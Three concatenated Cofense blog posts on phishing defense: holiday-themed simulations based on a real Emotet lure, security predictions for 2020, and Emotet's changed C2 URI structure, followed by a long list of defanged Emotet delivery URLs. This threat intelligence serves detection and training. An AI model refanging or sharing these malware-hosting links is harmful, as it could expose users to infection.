Want to simulate a holiday phish? This one’s from your friends at Emotet.

By Tonia Dudley

Tis the season when organizations are looking to send out the year’s last phishing simulation. Often the Security Awareness team lands on a holiday theme – holiday party, holiday raffle, or even the fun ugly sweater lure.

In the past, when I worked with teams to advance their phishing defense programs, I would recommend staying away from holiday themed scenarios. I’ll explain why in a moment. But my opinion has changed, thanks to the threat actors behind Emotet.

We first saw Emotet using a holiday theme in late October as Halloween approached. This was an interesting shift, as not only did it include a macro enabled MS Word attachment, but it was one that they had created. Many of the templates they used came from scrapped inboxes to leverage real email conversations. Fast forward to the year-end holiday season when organizations host parties to celebrate. Our Cofense LabsTM team closely monitors the Emotet botnet, and thus we began seeing the holiday theme hit the wire. Within a few days, we also saw the additional language translations. Ah! They enlist translators!

Figure 1: Emotet Holiday Themed Email

When you look at the email in Figure 1, it’s not pretty or well formatted – unlike the templates used in simulation campaigns. What else do you notice about this attachment? Does your organization still use .doc for MS Word? Not likely. I can imagine if you’re required to get management approval for your campaigns, you would be told to go back to the drawing board and get more creative.

However, if your phishing defense program is aligned with active threats hitting organizations, then this is exactly the template you should be using to train your users to identify a real phish. We don’t do justice for our organizations when we craft really fancy templates that don’t align to what threat actors are sending to your users’ inbox. When we took a look at one of our fancy social media invites, the susceptibility rate was around 7%.

However, when we looked at a template that modeled a real active threat, the susceptibility rate is almost 52%.

Figure 2: Examples of Simulated Holiday Phish

During the month of December, Cofense sees an uptick in requests from customers to create “custom” holiday phishing simulations. Again, these are typically fancy made up emails that mimic an eCard (and are blocked by most Secure Email Gateways), the type of email we don’t see hitting our active threats queue when we’re monitoring real phish in the wild.

Until now. So by all means, go ahead and simulate a holiday phish. Just remember to keep it real.

 

HOW COFENSE CAN HELP

100% of malware-bearing phishing threats analyzed by the Cofense Phishing Defense Center were reported by end users and bypassed technical controls that were in place to protect them.

Cofense PhishMe offers a simulation template, “Christmas Party – Emotet,” to educate users on the phishing tactic described in this blog. Condition users to be resilient to evolving phishing attacks with Cofense PhishMe and remove the blind spot with Cofense Reporter.

Quickly turn user reported emails into actionable intelligence with Cofense Triage. Reduce exposure time by rapidly quarantining threats with Cofense Vision.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence. Cofense Intelligence customers received further information about this threat in Active Threat Report (ATR) 34972.

Thanks to our unique perspective, no one knows more about REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

5 Cybersecurity Trends that Will Dominate 2020

By Aaron Higbee, CTO, Cofense

The threat landscape continues to evolve at a rapid pace, with new threat vectors emerging and increasing in sophistication. Which ones should you watch most closely as 2020 unfolds? Based on insights collected from our Cofense research teams, here are five trends we see dominating next year.

Ransomware will continue becoming more targeted to reap more sizeable payouts.

Many people are under the impression that ransomware is slowing down, but in reality it’s simply being used in a more targeted fashion. So many private and public organizations, as well as government entities, have been infiltrated by ransomware that we’ve become desensitized to its devastating effects.

Ransomware is very much alive, and more sophisticated actors are using it every day as a gateway into an organization’s network, once they identify crown jewels left vulnerable. One of the reasons why we’re not hearing as much about ransomware in the media is that attacks are increasingly difficult to cover. Due to cyber liability insurance policies and law enforcement involvement creating so much red tape, the real information is shrouded in secrecy and not making it into the public domain. Threat actors will continue to refine their targeting in 2020 in order to maximize their profits with organizations that don’t have an advanced security posture but do have a lot to lose.

Healthcare and genetic testing organizations will be a rich target for monetizing data.  

Healthcare organizations will always be one of the richest targets for ransomware and consumer fraud, as they provide easy access to valuable information, such as social security numbers, that can be monetized quickly. But as we look to the future, the prospect of malicious actors hacking into a database of a genetic testing company is especially disturbing. Not only would a threat actor have a detailed record of medical history and family heritage, but if the ethics of gene editing evolve further—and it’s not far off—a master log of thousands, if not millions, of peoples’ DNA is potentially available for attackers to exploit.

Cryptocurrency will find itself in the crosshairs.

The cryptocurrency industry is not widely understood, but it is on the receiving end of some of the most advanced attack methods we’ve seen to-date. Whether it’s a high-profile crypto holder or an entire cryptocurrency exchange, we’ve seen first-hand at Cofense how this realm of cyberspace is impacted by elite phishing tactics. Ultimately, the hackers look at their targets from two angles.

The first, if you’re a sole cryptocurrency holder: is your line of defense weak enough for me to hack you, log into your exchange, steal your cryptocurrency, and transfer it out? The second: is one of your employees, and it only takes one, susceptible to clicking on a phishing link so I can hack into your entire network and dig deep enough to access the cold storage vaults and pull off a heist?

The latter is far more likely, as organizations often neglect to train their employees to identify malicious emails. They mistakenly believe that more expensive, “we-promise-to-stop-it-all” technologies will thwart every attack. The reality is that the circle of trust at some organizations is so large that their employees are really the first and last line of defense against an attack.

SIM-jacking will be used to jack cryptocrurrency.

SIM-jacking is a trend that has recently emerged and will pick up speed in 2020, due to its success and the ease of implementation. Instead of wasting time trying to infiltrate the source, SIM hijackers will go to someone who works for a telecom company and pay them off to assign your phone number to another device and then use that phone number to reset your passwords and steal your cryptocurrency. In fact, one major U.S. telecom company is currently in the throes of a lawsuit following a handful of employees who helped hackers rob a customer of $1.8 million worth of cryptocurrency. It is heavily debated who exactly is at fault for SIM-jacking attacks, and while cybercriminals are obviously at fault, there are several layers to the attack that blur the lines.

Information warfare will put human intuition to the test.

In an era of fake news, information warfare is a very real consequence of social media platforms and an influx of news outlets. The public has to rely on, and decipher between, numerous news sources that offer little evidence, and much to the imagination, when it comes to the root cause of most stories.

Evidence is the key to validating any story. At Cofense, we stress the importance of conditioning people to recognize fake from real—phishing emails and other scams that target employees at work and home.

Human intuition is one of the most powerful tools in your arsenal, and it’s vital to hone it as a natural defense mechanism to combat against all types of threats, whether it’s fake news, a conspiracy theory, or a scam designed to bilk your company of its data, funds, or brand reputation.

To stay on top of phishing and malware threats in 2020, be sure to check this blog. We’ll continue to share our teams’ findings, both what we see in the wild and what evades the email gateway.

 

HOW COFENSE CAN HELP

100% of malware-bearing phishing threats analyzed by the Cofense Phishing Defense Center were reported by end users. 0% were stopped by technology. Condition users to be resilient to evolving phishing attacks with Cofense PhishMe and remove the blind spot with Cofense Reporter.

Quickly turn user reported emails into actionable intelligence with Cofense Triage. Reduce exposure time by rapidly quarantining threats with Cofense Vision.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence.

 

Thanks to our unique perspective, no one knows more about REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.

 

All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.

Emotet Modifies Command & Control URI Structure and Brings Back Link-based Emails

By Noah Mizell, Cofense Phishing Defense Center

Emotet has been busy wrapping up the year with some minor tweaks to their client code and the reintroduction of some tactics that have worked well for them in the past. The botnet that began its life as a banking trojan in 2014 has proven to be a formidable threat to organizations around the world and shows no signs of stopping. Before we look at their recent changes, let’s begin with a quick review of some of the notable updates we have observed this year:

  • January 13, 2019 – The Emotet botnet reemerges from vacation to begin its first campaign of the year.
  • January 28, 2019 – Experimentation with Qakbot as a payload.
  • March 14, 2019 – The client code is changed to utilize a wordlist to generate random paths when checking into the Command & Control (C2) and now uses the POST method instead of GET. The use of JavaScript attachments is noted as well.
  • April 9, 2019 – The botnet operators begin using the emails that were stolen starting in the last part of their 2018 campaign. The use of stolen content provides the ability to create spear-phishing like emails on a scale never seen before.
  • May 31, 2019 – Emotet goes on summer vacation shutting down a large part of its infrastructure.
  • Sep 3, 2019 – C2 begins to come back online.
  • Sep 16, 2019 – Spamming operations resume. Link and PDF attachment based emails are very limited. The vast majority of their campaigns are macro document-based. Heavy use of the reply-chain (stolen email) tactic is observed.
  • Large deployments of TrickBot and Dreambot are used as secondary infections throughout the year.
  • The term “Triple Threat” is created to note the high incidence of Emotet -> TrickBot -> Ryuk infections seen in the wild, leading to massive ransomware payments and a great deal of lost time and money for many government and private organizations.

Starting on November 27th, we noticed a change in the way the Emotet client code was checking into the C2 servers. Gone are the random paths utilizing the word list (figure 1) that was seen in the past.

Figure 1: URI structure introduced in early 2019

Figure 2: The new URI structure seen as of Nov. 27

The clients are now adding a path that, at first glance, appears to be a random string with a minimum length of four characters.  A slightly deeper investigation into this traffic shows the path is actually the key from the key/value pair in the posted form data.  This change is odd, as it does not actually alter the check-in data in any meaningful way and appears instead to be more cosmetic in nature. This leads us to believe that it may have been a rudimentary attempt at identifying researchers who are running emulation code alone, as their check-in structure would not have dynamically changed when the code base was updated.

Figure 3: Example Emotet delivery email

Another noted change was the reintroduction of link-based email templates. We have seen Emotet emails use links with great success in the past. For unknown reasons, the threat actors did not seem to use them when coming back from summer vacation. In all likelihood, they are using them now to maximize their victim count before breaking again for the winter holidays.

We have included a listing of some of the URLs seen on the first day back further below.  Heavy distribution of TrickBot has also been seen in recent campaigns as a secondary infection and may be a money grab to fund their holidays.

Figure 4: Example Emotet delivery email

As with past campaigns, we have also seen an uptick in the use of shipping company themed emails to coincide with the holiday season, a recurring theme for the actors around this time of year. One change to the email templates that appears to be a new lure is an “Open Enrollment 2020” theme to entice users who have not yet decided on their insurance program for the upcoming calendar year.

The Emotet actors are masters at creating email templates that exploit a user’s emotional response, and this is a prime example.

Cofense’s research teams – Cofense Labs, Cofense Intelligence and the Cofense Phishing Defense Center – actively monitor the Emotet botnet to identify phishing threats that may impact customers and to provide security operations with the latest campaign data.

 

HOW COFENSE CAN HELP

100% of malware-bearing phishing threats analyzed by the Cofense Phishing Defense Center are reported by end users and bypassed technical controls that were in place to protect them.

Cofense PhishMe offers a simulation template, “Order Confirmation – Emotet/Geodo,” to educate users on the phishing tactic described in this blog. Condition users to be resilient to evolving phishing attacks with Cofense PhishMe and remove the blind spot with Cofense Reporter.

Easily consume phishing-specific threat intelligence to proactively defend your organization against evolving threats with Cofense Intelligence. Cofense Intelligence customers received further information about this threat in Active Threat Report (ATR) 34580.

Quickly turn user reported emails into actionable intelligence with Cofense Triage and reduce exposure time by rapidly quarantining threats with Cofense Vision.

Thanks to our unique perspective, no one knows more about REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.

hXXp://3mbapparel[.]com/ce8p4mw/Scan/23sr2r3h-227136449-4100-o7f3aukln-5ek9w7yx/

hXXp://abbasghanbari[.]com/cgi-bin/m2gx-j9l-2674/

hXXp://abis[.]abis-dom[.]ru/wp-content/multifunctional-zone/external-portal/XKnI9c95VXtO-2koeL1odjG8e45/

hXXp://adrianoogushi[.]com[.]br/blogs/available-resource/test-forum/CO37HIcUG-4KiqqruHlj9/

hXXp://agramarket[.]com/wp-admin/554841538461/9igxpru22w-3404-624501945-dtenc-cvona7/

hXXp://agramarket[.]com/wp-admin/images/Document/

hXXp://aijiuli[.]com/wp-content/common-3644746801311-F61eGi6VrRfSERpV/guarded-722116w-9jx99j5uyog/2b51q65tivz3f97-3vw70xy142675/

hXXp://alfaem[.]by/wp-includes/wcevu12a6j/ui13miem-1842496-647941-b1maguvyl7-0wm1/

hXXp://allgamers[.]ir/wp-content/6270900376591-TrHEgUBtm-sector/verified-portal/3rw-x42z0/

hXXp://aminulnakla[.]com/test/5mpub-u9jdh-1356/

hXXp://amoutleather[.]com/a/multifunctional_9313571_Y9mwVe/additional_forum/EAvHHxYA2_z07m8sM36w72/

hXXp://anantasquare[.]com/wp-content/Documentation/1yzenuu55v/zdx0oqd5mp-79785-92241-lqk84aode-i65yma2m1/

hXXp://andishkademedia[.]com/wp-includes/8vcppv-4l1-885316/

hXXp://anhjenda[.]net/wp-content/vmpyh5c3pi/

hXXp://anjumpackages[.]com/nrri/private_44709616882_WQZDa1KAyj/corporate_V6tkmPmj_jRcx2PfQ/on3_1v7649ys6t1/

hXXp://aquimero[.]net/wp-includes/8gdm6-y4kj-461/

hXXp://archinnovatedesigns[.]com/wp-includes/464728-V0rjOQkXZi4SSiW-disk/580333-3VP9JZcfWI6-cloud/028eeth-vu553tyw/

hXXp://arielcarter[.]com/j7foqo2/DOC/iqrh6hczo0cw/

hXXp://arttoliveby[.]com/yyrye/private_86192_eZoBMjbfcDvuPq/test_cloud/ws3uh67ha1tup_5128t108/

hXXp://auliskicamp[.]in/wp-admin/common_resource/verified_vZUVdO8ppY_CWfMSl2yMCEH/bgJEju1jvH_3iNK6o4Ii4G/

hXXp://awooddashacabka[.]com/yt46/open-box/individual-area/yNmy5HQif-8o8tG738h2/

hXXp://babdigital[.]com[.]br/wp-content/esp/6v5nej75l/

hXXp://bakeacake[.]com/wp-admin/available-disk/security-warehouse/z1XGaZ-NemjMNrc3a/

hXXp://bassigarments[.]com/wp-content/personal-592742204-WBrGGz/4469690-7SOBhN7gbB7s-area/b90h417-wtxsw/

hXXp://batdongsanhathanh[.]net/wp-admin/open-resource/568A8V-ILYyxINK-profile/jdux7bsdp-twyu179678t1/

hXXp://beiramarsushi[.]com[.]br/1g3ld9f/closed_n941_aUn1fAfrvX8Bhu/test_warehouse/6N1JhlV_M8oi1aM9Gyw/

hXXp://best-fences[.]ru/css/4ey-6v7y0-5856/

hXXp://betaoptimexfreze[.]com/bebkat/Reporting/9zooeodt/x827ofzp-289202990-87262-q99cri9-xr06/

hXXp://bgctexas[.]com/quietnightcompany/xb1k2g9/personal_zone/test_WlYEqat2Ie_OgiyQ9W40qCyP/bw54a4lhlrx_9636w4uu0xsxt1/

hXXp://bilgigazetesi[.]net/a6lwm1m/open_sector/special_forum/Ej4oMEQf3AN_Gudt5tx97J/

hXXp://bimattien[.]com/wp-admin/eTrac/ld6u234c3/ga438o-5744266-474284-eejhd-5ctewz/

hXXp://blicher[.]info/wp-includes/KPrV/

hXXp://blog[.]inkentikaburlu[.]com/70jjm53klo/sites/2yd7bvuh-505209-64670737-fr4vs-t7zp3cjl0/

hXXp://blog[.]sawanadruki[.]pl/wp-content/uilb8dz6_hwpeyvx_sector/security_warehouse/0gKrzfjYpvFO_3yLM891Meliz/

hXXp://blogkolorsillas[.]kolorsillas[.]com/wordpress/xnq1k-rkkl-803/

hXXp://bluemedgroup[.]com/wp-admin/mnfd8_nbij_436575782_UQEO1IVCs4LqadTV/security_profile/XODmvThQGR7_H7vrzccMec5/

hXXp://bmrvengineering[.]com/wp-admin/FILE/

hXXp://bookitcarrental[.]com/wordpress/INC/iddp2ggtm/eccvup8c-3843-818470-69yg4b28wh-w1kxriyo/

hXXp://bupaari[.]com[.]pk/RoyalAdventureClub[.]com/eTrac/ncevpoamvlp0/

hXXp://buyrealdocumentonline[.]com/wp/Documentation/d7mz-688402499-7314933257-fkwggnu-t4ybrvaf7/

hXXp://cabosanlorenzo[.]com/wp-load/protected-resource/verifiable-tk2c-3kfk3g9iz/ebub24rmzo8-9u88717yx935/

hXXp://cacimbanoronha[.]com[.]br/wp-content/Scan/

hXXp://caotruongthanh[.]com/wp-admin/qeku-4ys4-83891/

hXXp://carolscloud[.]com/media/public/

hXXp://carolzerbini[.]com[.]br/6ttp7t0/Overview/qoawf12j0jbp/

hXXp://carvalhopagnoncelli[.]com[.]br/lvqhz/Overview/0rrnguk8z/lg4qyh7-338411-43458560-pp7dts1ba-3msz/

hXXp://cas[.]biscast[.]edu[.]ph/updates/personal_sector/verifiable_warehouse/D3buvGg_1yyMJGrM6gp/

hXXp://casaquintaletcetal[.]com[.]br/e6viur/04383245_xZw1ZKxX_41063_29gQlRhcVl5eGs/additional_area/4004h_s035tt6461/

hXXp://casinovegas[.]in/cgi-bin/protected_module/additional_warehouse/NzQU7EbxmY_mLobpJqHn8Lh8/

hXXp://catchraccoons[.]com/wp-admin/open_9135304_x3VG052S9vjEZN/external_warehouse/AgnasV_o0M4JIrNt67j/

hXXp://caughtonthestreet[.]com/sh5bne/available_sector/test_mhc3xk01u_if5a3isqhztj4/fwpqcd9admvnur_yuu17s15/

hXXp://cetpro[.]harvar[.]edu[.]pe/dup-installer/2i5i_r76gl3x5v6vge_disk/individual_profile/NrWPp5_3Hj0zszymw/

hXXp://championretrievers[.]com/wp-admin/paclm/mdjx-81327-4043-zujiz-uoi7hp59w4/

hXXp://charger-battery[.]co[.]uk/chargerimages/Reporting/

hXXp://chatnwax[.]com/dir/RRETX2MC9ZE7/syc01o4x/

hXXp://cheappigeontraps[.]com/wp-admin/personal-resource/guarded-gueidxaiga-544/a4hko1sshe-6530yx62/

hXXp://cheapraccoontraps[.]com/wp-admin/parts_service/zn6iszxroew/0vqf-97169-6342681145-z9iyge-xws5/

hXXp://cherrypointanimalhospital[.]com/new/parts_service/po53iyxo22m/

hXXp://chintamuktwelfare[.]com/wuvke31kdk/open-array/open-space/j2hg7S-Mseglc5d/

hXXp://chongthamhoanglinh[.]com/cgi-bin/Reporting/

hXXp://chooseyourtable[.]sapian[.]co[.]in/wp-includes/x3qc-azmz9-340871/

hXXp://clurit[.]com/matematika/images/content/open-array/additional-portal/open-array/additional-portal/3qZqx-tb7HH2KcNhHi82/

hXXp://collegebolo[.]in/wp-content/OCT/i91smxgw72t/iayid-933690-003423-pxhqzu7z4-e9fxqjnvn/

hXXp://collegiatevideoscout[.]com/piq88y/multifunctional-zone/verifiable-portal/vzwsusvfoq2kbmt-y496uwt7xz68uy/

hXXp://compworldinc[.]com/browse/4ni6zf2fq/

hXXp://contestshub[.]xyz/wp-content/evfch-p40-368725/

hXXp://cosmeticsurgeoninkolkata[.]in/wp-content/multifunctional-zone/security-space/oG7v7CkLAl-jz0rugqbjvi73/

hXXp://cosmicconsultancy[.]in/custom-icons/Reporting/

hXXp://cp[.]3rdeyehosting[.]com/wp-includes/esp/

hXXp://crazyroger[.]com/cgi-bin/1710496674006_01bd6Zeef0mCJ_disk/external_forum/4dwy_zxz36x4/

hXXp://creatitif[.]com/wp-admin/Reporting/

hXXp://croptool[.]com/theblackjackmob/Documentation/

hXXp://crownedbynature[.]com/jtaa6jtb/LLC/

hXXp://csa[.]cries[.]ro/ckjca7/11206-JdwhXBh41Cj8irAC-resource/individual-warehouse/ay7fc9ll3dnke7e-4yw99s2t6w/

hXXp://csrngo[.]in/alfacgiapi/15vu8s-c85u1-9139/

hXXp://daisybucketdesigns[.]com/pocketframes/images/aci32rk/eTrac/5w4kiwqito3r/

hXXp://dalao5188[.]top/wp-content/open-sector/test-forum/f0pqn-5328/

hXXp://dastsaz[.]shop/wordpress/private_array/verifiable_forum/BpajlMaeH_297iwG6jj7pGc/

hXXp://datrienterprise[.]com/wp-content/eTrac/7qzoqzrkjyuc/

hXXp://demo[.]bragma[.]com/site/pt48-pk3089b-682065491-ZkL2pS9yz/open-warehouse/LXWiJKrI-62Hui1o9a/

hXXp://demo[.]podamibenepal[.]com/superior/t2c-jpip6-22/

hXXp://demo[.]tanralili[.]com/apehhpf/INC/

hXXp://designers-platform[.]com/binzbc/FILE/a69zlr8/

hXXp://dev[.]consolidationexpress[.]co[.]uk/wp-admin/closed_sector/924553_1wSxAW2z_portal/2EI6ej9js5j_15M1p7xI9Gov/

hXXp://diamondbreeze[.]com/wp-content/docs/ig220w-64348062-050708-0o2ix-nk0skuh0/

hXXp://diecinuevebn[.]com/cgi-bin/protected-disk/verified-forum/ah7hwmjvvuuy84mx-t467s/

hXXp://diegojmachado[.]com/cgi-bin/open_sector/CLp2Etz_eUR1Q6uDDBgHkI_area/bDuOHXDda_cgI6sNcjl1gK/

hXXp://dishekimieroluzun[.]com/wp-content/DOC/

hXXp://dreammotokolkata[.]com/cqye/iaft92-6lplx-826/

hXXp://drsudhirhebbar[.]com/minds/private-sector/open-portal/rb2vj1kuwjbb-swuys/

hXXp://dubit[.]pl/site2/pxre-ns-297/

hXXp://dumann[.]com[.]br/z3gy5lb/sites/7bg1i8n2/jvsjhn3j-868085891-343651-sgosfko-20u4kmz2cb/

hXXp://elitexpressdiplomats[.]com/cgi-bin/available-array/guarded-5UJi7-pIM1v1g3Q6k6/whf6zxh-txsts2/

hXXp://empowerlearning[.]online/wp-admin/ruh006-rgkj-590/

hXXp://especialistassm[.]com[.]mx/inoxl28kgldf/docs/l5rbj6g/iibea-032709148-341719111-6r6auusna-6j9m/

hXXp://euonymus[.]info/twxppk/Document/7uo0t4osm95p/

hXXp://evokativit[.]com/TEST777/YHErlTl/

hXXp://evolvedself[.]com/dir/azpdj41_sugzd3yhwwsy_3709679_Rvta29FrYib/special_QDPYSSWZ1L_PJAv0ICNK1P/2Edulb_98mGeuzy3ty2Lz/

hXXp://extend[.]stijlgenoten-interactief[.]nl/test/Pages/w6014u-84395-6469-hthslxcbne-8vj2et4/

hXXp://finndonfinance[.]com/wp-content/Document/wjswrn1s/qgltg-85747767-49820504-2gz892-ydp6o4o4e/

hXXp://fooladshahr[.]simamanzar[.]ir/dup-installer/closed_box/interior_portal/0f6j5b5bga_06zs0/

hXXp://fozet[.]in/wp-content/eTrac/hb6yb86ei36/yrqsf32-172576671-4195092231-c97ty6f-5cu2q8hj8/

hXXp://freestyle[.]hk/picture_library/eTrac/s9shv2eo/

hXXp://frezydermusa[.]com/wp-content/parts_service/fisq814goap0/fhyl68-5565-326796-rr55j9spg-ug9mfyg/

hXXp://galeriariera[.]cat/assets/lm/g9zkvryjwq-0524005005-0333576-k58dqx5-326yx/

hXXp://gameonline11[.]com/wordpress/pqOAPS/

hXXp://gargchaat[.]com/phpmailo/lm/538skcfoe/7vps0iy-66657310-44075-q2gbc4-2vhp2c/

hXXp://gayweddingsarasota[.]com/cgi-bin/esp/68f6yd4ehwdr/

hXXp://gayweddingtampabay[.]com/cgi-bin/private-2828581710383-rNH3ETP8sT2ggXrt/additional-forum/DEsne0OE5vz-KmmglLMf/

hXXp://geekmonks[.]com/cgi-bin/common_sector/special_forum/9cfuf_ts9y4twzx0709/

hXXp://germxit[.]mu/calendar/4rxl-2932-78/

hXXp://gestto[.]com[.]br/wp-lindge/Scan/

hXXp://getabat[.]in/wp-content/closed_module/test_88i6oai_sjwnuscqjjl/abgyQKwZhv6i_inKjGl8hG98/

hXXp://globalstudymaterial[.]com/pdf/available-zone/individual-warehouse/vWOq8gdCRu0-ra1nf24iHayat/

hXXp://goldinnaija[.]com/wp-admin/sites/xaz6-030261-0911995608-sm9u-99rd1/

hXXp://gomaui[.]co/wp-includes/personal-resource/test-area/a9kj-wsuyvw59t/

hXXp://grace2hk[.]com/b6vg89hb/common_sector/security_forum/4tx_uu501xxxs/

hXXp://grahaksatria[.]com/towed/private_box/additional_forum/x1T0kdo_q89uLjatbqJ8/

hXXp://greatercanaan[.]org/wp-admin/Document/kqfz63hy/

hXXp://grocery2door[.]com/nkpk/97_dwi59_03276182_sJsjrqR/corporate_warehouse/13wrnaGqqET_lIy0l5eJsNdIc/

hXXp://groovy-server[.]com/masjid/backend/web/assets/rhhl/

hXXp://group8[.]metropolitanculture[.]net/wp-admin/multifunctional-sector/verifiable-cloud/l0q-4vww/

hXXp://haoyun33[.]com/wordpress/browse/9kmt2hi/

hXXp://hasung[.]vn/wp-includes/1bvxk7fvre5_lnci6bcnim_resource/special_forum/5BZ0CZ_p4052N871e/

hXXp://hfn-inc[.]com/mail/available-box/security-PgUqz6ktI-GY00tgjAgbFSr5/zy5escaf56fzw5y-y78s2tzu60v7z4/

hXXp://homecarehvac[.]com/wp-includes/open_resource/guarded_profile/eshftvv0ht_61x297v2/

hXXp://indusautotec[.]com/n8l7suy/open-xNFfQ20VO-FjqtokyzbQ6HGF/security-jdEM-dDzAJO2Ccnx/G3P8qq-MmI2GLf3JdK/

hXXp://jgx[.]xhk[.]mybluehost[.]me/scarcelli/multifunctional_098152347732_CYNEZ9DFQ/guarded_space/2qq1r_29xuz/

hXXp://jurness2shop[.]com/cgi-bin/private_disk/individual_ufyGUNB_QRlHjxmYMMbuaY/30lpuw22llwzm_vx60vx4s/

hXXp://kallinsgate[.]com/cw6vmaj/common-2561851-hLdPAOsBNVrNeE/open-space/5irmsa8-8x82zv7t2zw2x/

hXXp://kanntours[.]com/wp-security/Overview/yprr0k8-808004671-920995225-dc1d7q7-trbbwtd/

hXXp://kayzer[.]yenfikir[.]com/quadra[.]goldeyestheme[.]com/lm/

hXXp://kelurahanraya[.]ulvitravel[.]com/tmp/eTrac/wpag9c-3294986-0565941971-rbtkv0yr0p-rs604o/

hXXp://kpu[.]dinkeskabminsel[.]com/wp-admin/available_229278636_TO7LG1kXBWax3/847166_Zm9B3oXaP_portal/ZcAtrKAnB_nJGzswNc/

hXXp://kyrmedia[.]com/whnh/closed_zone/test_warehouse/o1yvycunyw222_tz6z71svs35/

hXXp://lalletera[.]cat/bootstrap/closed-array/test-warehouse/9y3rm68-7251/

hXXp://lastminuteminicab[.]com/l56mcv/Scan/qrg67fldazss/cd38ot-8952552-5429276851-63g720il-z2uwrr/

hXXp://lindamarstontherapy[.]com/psqlud/common_1810413_gc4qCpSFYbBM/additional_forum/4kmyjjijspz85_tt20x6w/

hXXp://liveleshow[.]com/cgi-bin/open-sEVbZ-kyyyJcjMY/verified-area/n7tk0nygk2up7j-7824vz2y/

hXXp://lsperennial[.]com/tnnfxu/545533028378/ofzt2ll4a-4754801-8569215-64d2t-rbtsi5ylgq/

hXXp://masspaths[.]org/transcyclist/open-array/69537295-LwrlRuR-portal/riy-u5984475/

hXXp://mistyvillage[.]com/inoxl28kgldf/open-sector/individual-forum/TC1AThq8D-H4iKcw9erMc8a7/

hXXp://monoclepetes[.]com/disneyworldclassroom/browse/

hXXp://mosaiclabel[.]com/4f9xnykaf/common-box/corporate-a30njr6-34dhllfehbjex6/14rm3hr6k358-x32zy5/

hXXp://myclarkcounty[.]com/wp-includes/open-resource/open-forum/o6a3exwvzfo-4wwxx8uts7/

hXXp://myfamilyresearch[.]org/dir/paclm/

hXXp://nisanurkayseri[.]com/fhiq04sgna7/a683w-an3x-4946/

hXXp://norikkon[.]com/administrator/16542-fBTLcdbEyJr-sector/VFCLsV-bAwgBBBeBqaJ-forum/fft2z7gdyzqee-8z80w6z68vs/

hXXp://nunes[.]ca/s59nlj/DOC/

hXXp://pascalterjanian[.]com/logs/multifunctional-2519534-Fs87CEgtQY82H6/verifiable-forum/2iFKNGyl-Ksmyn3gyI/

hXXp://plaestudio[.]com/wp-admin/multifunctional-zone/verified-space/zftkjoaw-xzuwtu1228/

hXXp://pmnmusic[.]com/backup-1540795171-wp-includes/Document/

hXXp://productorad10[.]cl/cdn-cgi/lm/6bwolkvw/

hXXp://radigio[.]com/qcloid/Pages/aveebb8ri/

hXXp://rememberingcelia[.]com/cgi-bin/private-box/additional-cloud/WoMAYyGYPic-ejGtLw5zKk9132/

hXXp://richardciccarone[.]com/watixl/Pages/iwq2bcuhtc/fpl5dh7-1085-7485017905-7upoox-mmwh5rr/

hXXp://rkpd[.]ulvitravel[.]com/cgi-bin/s0pgy-yg3-606/

hXXp://rozziebikes[.]com/tshirts/7XOEME6DSPI/l6bpob8m-8104-0278018-y6o222jln-fsxji7gy9l/

hXXp://safiryapi[.]net/mainto/private-zone/9977527-TGAtxV-space/noliIDq-ffuwzjN5H8zj/

hXXp://sakuralabs[.]com/4gubn/personal-zone/interior-forum/rye8idbdwx6uiw9-vtw0y35413/

hXXp://scottproink[.]com/wp-includes/LLC/3nm06yz1og/

hXXp://sigepromo[.]com/fonts/multifunctional-sector/security-kojbhnhsfxht47-4qgj/xznv8-35sz95t0t7/

hXXp://sofiarebecca[.]com/ybfm/multifunctional-XhmwQuIS-uBXA6FSMcoaXT2/7427993-1AJW4cmy-profile/P0jkvy-gwgs3qvm/

hXXp://southeasternamateurchampionships[.]com/0ng1en8p/common-57GaJ-JU2y57Cw9wWp/test-area/1CP3gWMySaac-iixIpxfJ216/

hXXp://southernlights[.]org/wp-includes/attachments/13iqe8n/

hXXp://stlaurentpro[.]com/25bd/Overview/qnrlmvj/

hXXp://stluketupelo[.]net/sermon/Document/

hXXp://technosolarenergy[.]com/wpk0/esp/xcggf7f/l41sd6-372903-111521309-pe7nqblm-rnbcyph7/

hXXp://thebeaversinstitute[.]org/m6zxne/open_sector/verifiable_grIwVfcE_JNkyS1ABG7O/JOr8Y2_c0N5pfizn8tqv/

hXXp://thecityglobal[.]com/creative/DOC/tmi48tldo/8fcpm52kxc-1823-224157721-0k5g3-2ntwz3u/

hXXp://theconsciouslivingguide[.]com/w63gh/NQOOE7ZE6E/

hXXp://theordeal[.]org/2hqr15/71028031_i0jDg_array/verified_profile/M17xNfJi_afcjbJ9y2/

hXXp://tinystudiocollective[.]com/tvtepc/parts_service/c5hlpnbm/04yte-92982998-989677-xuln504d-wj8wr99a0r/

hXXp://trinituscollective[.]com/wp-admin/DOC/3k2yxczqa-017872-15130767-6fcy299dtf-5p8y1zk/

hXXp://turbinetoyz[.]com/inc/available_sector/open_cloud/7gDaxLdZntQO_f54w1mdqt/

hXXp://vektra-grude[.]com/components/sites/xyj3oy2f/

hXXp://wolvesinstitute[.]org/wp-admin/INC/muosryq6917p/uozxo9-82202-738575-fbm4hisdv-0q5dy3ciz/

hXXp://www[.]africanswoo[.]com/wp-includes/IOG/

hXXp://www[.]bonfireholidays[.]in/efqog/Documentation/

hXXp://www[.]demarplus[.]com/19sn7/Overview/

hXXp://www[.]southwayhomes[.]co[.]uk/wp-admin/lm/5x8c1xywx2h/

hXXp://xhd[.]qhv[.]mybluehost[.]me/Maidentiffany/a4wnq/INC/be5oryde748n/877iw8k2-5677720-10188-kjqm-al3ax20hth/

hXXp://xn--3jsp48bswaq48h[.]com/binzbc/protected_disk/WsgEuoVh6_GLg1uIsNZxocly_tdagf_sb0hy87m9gi/jWdMxTd9_a73ophNx/

